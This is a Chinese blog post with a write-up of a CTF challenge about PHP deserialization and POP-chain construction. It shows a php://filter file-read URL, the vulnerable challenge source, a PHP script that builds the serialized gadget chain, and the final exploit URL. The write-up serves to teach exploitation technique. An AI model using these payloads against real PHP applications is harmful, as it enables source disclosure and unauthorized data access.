• php反序列化之pop链构造


    本题是某信有一次内部比赛的题目,涉及到pop链的构造问题,所以在这里与大家分享一下

    题目

    查看源码

    逻辑是当参数fn存在且不包含string、zlib、flag这三个字符串时,进行文件包含
    这里的过滤是为了防止我们直接读取到flag.php的源码,因为毕竟题名是反序列化
    如果不存在fn,对code进行反序列化
    先利用php://filter伪协议读取try.php源码
    http://1.1.1.1:8080/?fn=php://filter/read=convert.base64-encode/resource=try.php
    再base64解码之后拿到源码

     1 <?php  
     2     $test = "Hello world";
     3 include "flag.php";
     4 function check_fn($filename){
     5     $result = preg_match("/string|zlib|flag/i", $filename);
     6     if($result){
     7         return FALSE;
     8     }
     9     return TRUE;
    10 }
    11 
    12 class agood { 
    13     private $gooda; 
    14     function __wakeup(){ 
    15         $temp = $this->gooda . 'ctf'; 
    16     } 
    17 } 
    18 
    19 class bgood { 
    20     private $items = array(); 
    21     public function __toString() { 
    22         $item = $this->items; 
    23         $str = $item['ss']->sword; 
    24         return 'what the good?'; 
    25     } 
    26 } 
    27 
    28 class cgood { 
    29     private $params = array(); 
    30     public function __get($key) {  
    31         global $flag;
    32         $tmp = $this->params[$key];
    33         var_dump($$tmp); 
    34     }
    35 }

    分析

    这里的思路是,对agood类反序列化触发__wakeup魔术方法,执行过程中调用了$gooda进行了字符串拼接,触发了bgood中的__toString魔术方法,方法内部调用$items[‘ss’]的变量,调用对象中不存在的成员变量,触发__get($key),方法,这里的$key就是我们所调用的变量的值,也就是sword。
    最后输出$$tmp,也就是要将$tmp赋值为flag,给cgood中params[$sword]赋值为flag即可。
    整理一下思路:
    agood中的$this->gooda触发bgood中的__toString方法,将$this->gooda赋值为new bgood()。
    bgood中的$items[‘ss’]触发cgood中的__get函数,给$items[‘ss’]赋值为new cgood()。
    最后让cgood中的$params[‘sword’]=”flag”

    payload

     1 <?php
     2 class agood{
     3     private $gooda;
     4     function __construct()
     5     {
     6         $this->gooda = new bgood();
     7     }
     8 
     9 }
    10 class bgood{
    11 
    12     private $items = array();
    13     function __construct(){
    14         $this->items = array("ss"=>new cgood());
    15     }
    16 }
    17 
    18 class cgood{
    19     private $params = array("sword"=>"flag");
    20 }
    21 echo serialize(new agood());
    22 ?>

    由于变量都是私有的,所以需要在变量名之前加上%00类名%00
    这里我们直接输出,%00是输出不出来的,所以手动加上
    最后是:
    http://1.1.1.1:8080/?code=O:5:%22agood%22:1:{s:12:%22%00agood%00gooda%22;O:5:%22bgood%22:1:{s:12:%22%00bgood%00items%22;a:1:{s:2:%22ss%22;O:5:%22cgood%22:1:{s:13:%22%00cgood%00params%22;a:1:{s:5:%22sword%22;s:4:%22flag%22;}}}}}

  • 相关阅读:
    SpringBoot及Vue3.0 登录验证码实现
    SpringBoot 文件上传、下载、显示
    Redis持久化
    Redis持久化之RDB、AOF详解
    SpringBoot AOP 记录操作日志、异常日志
    JAVA后端《持续集成 持续交付 持续部署》
    MySQL Binlog 介绍
    谷歌浏览器chrome即将在2020年底停止支持flash,我们程序员该怎么办
    年薪170万的阿里P8级员工征婚有感--话说阿里真有钱,这员工要求的条件真多
    为什么百度只抓取了首页而不抓取我的网站的内页的原因分析
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/13617530.html
Copyright © 2020-2023  润新知